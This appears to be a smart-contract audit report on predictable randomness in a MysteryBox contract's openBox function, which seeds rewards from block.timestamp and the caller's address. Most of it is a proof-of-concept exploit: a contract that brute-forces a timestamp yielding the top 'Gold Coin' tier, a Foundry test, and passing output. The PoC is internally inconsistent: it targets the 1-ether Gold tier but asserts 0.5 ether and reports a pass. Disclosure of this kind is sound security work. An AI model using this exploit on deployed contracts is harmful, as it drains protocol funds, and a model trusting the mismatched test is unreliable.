Summary
By exploiting a calculated block.timestamp during the call to openBox, an attacker could significantly increase the chances of obtaining a Gold Coin. This manipulation undermines the randomness of the openBox function, leading to potential losses for the protocol.
https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L47
Vulnerability Details
In openBox function, a random value is used along with the protocol designed probabilistic model to determine the reward tier. This random value was generated through uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;.
function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
<@@>! uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
if (randomValue < 75) {
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}
A caller address and block.timestamp are used in this random value generation. Since a caller address is a known value for an attacker, this causes the generated value is not reliably randomized and attacker could calculate the right block.timestamp that will yield a value at exactly 99, which is the condition to get highest reward tier of Gold Coin
Proof of Concept:
Create a separate contract to find the right timestamp for a known address that will generate targeted random value of 99
pragma solidity ^0.8.0;
contract RandomValueFinder {
address private attacker;
constructor(address _attacker) {
attacker = _attacker;
}
function _calculateRandomValue(uint256 timestamp) internal view returns (uint256) {
return uint256(keccak256(abi.encodePacked(timestamp, attacker))) % 100;
}
function findTimestampForRandomValue99() public view returns (uint256) {
require(msg.sender == attacker, "Restricted attack call");
for (uint256 i = block.timestamp; i < block.timestamp + 3600; i++) {
if (_calculateRandomValue(i) == 99) {
return i;
}
}
revert("No suitable timestamp found");
}
}
2.In test/TestMysteryBox.t.sol, make the adjustment in the setUp and add new test test_audit_manipulateBlockTimestampAtOpenBox
function setUp() public {
owner = makeAddr("owner");
user1 = address(0x1);
user2 = address(0x2);
+ // add this since MysteryBox needs fund of minimum 0.1 ether upon deployment
+ vm.deal(owner, 1 ether);
vm.prank(owner);
- mysteryBox = new MysteryBox();
+ mysteryBox = new MysteryBox{value: 0.1 ether}();
}
function test_audit_manipulateBlockTimestampAtOpenBox() public {
address attacker = makeAddr("Attacker");
vm.deal(attacker, 1 ether);
vm.startPrank(attacker);
mysteryBox.buyBox{value: 0.1 ether}();
RandomValueFinder randomValueFinder = new RandomValueFinder(attacker);
uint256 attackTimestamp = randomValueFinder.findTimestampForRandomValue99();
vm.warp(attackTimestamp);
mysteryBox.openBox();
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
vm.stopPrank();
assertEq(rewards[0].value, 0.5 ether);
}
3.Run the test
$ forge test --match-test test_audit_manipulateBlockTimestampAtOpenBox
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] test_audit_manipulateBlockTimestampAtOpenBox() (gas: 257464)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 690.71µs (148.38µs CPU time)
The assertion test passed indicating that a calculated timestamp could be used to manipulate the chance of getting highest tier reward.
Impact
Attacker could maximize the chance to get highest reward tier of Gold Coin, leading to financial losses for the protocol.
Tools Used
Manual review with test
Recommendations
Implement a more reliable randomization in openBox. Can consider the followings:
Avoid using block.timestamp, consider using Chainlink's Verifiable Random Function (VRF) or similar services to obtain secure and verifiable randomness.
Combine multiple sources of randomness, for examples, combine multiple unpredictable inputs (blockhash, nonce, in addition to user addresses) to make it harder to predict the outcome